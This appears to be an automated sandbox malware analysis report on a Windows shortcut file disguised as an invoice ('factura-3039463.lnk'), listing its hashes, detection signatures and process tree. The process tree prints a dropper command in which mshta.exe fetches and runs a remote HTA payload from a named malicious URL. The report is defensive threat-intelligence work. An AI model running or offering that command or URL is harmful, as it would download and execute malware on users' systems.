Analysis

  • max time kernel
    300s
  • max time network
    301s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    25/08/2026, 15:00

General

  • Target
    factura-3039463.lnk
  • Size 720B
  • Sample260825-sdaz4a1saz
  • SHA256 94fe9e0ee6da347f5975e86aecd41606de2dd605c27ef01f6f9986263d366f23
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://daytodaystray.com/nenk2.aspx?TreF

Signatures

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\factura-3039463.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4900
    • C:\windows\system32\mshta.exe
      "C:\windows\system32\mshta.exe" https://daytodaystray.com/nenk2.aspx?TreF
      2⤵
      • Badlisted process makes network request
      PID:4032

Network

        MITRE ATT&CK Enterprise v16

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        Downloads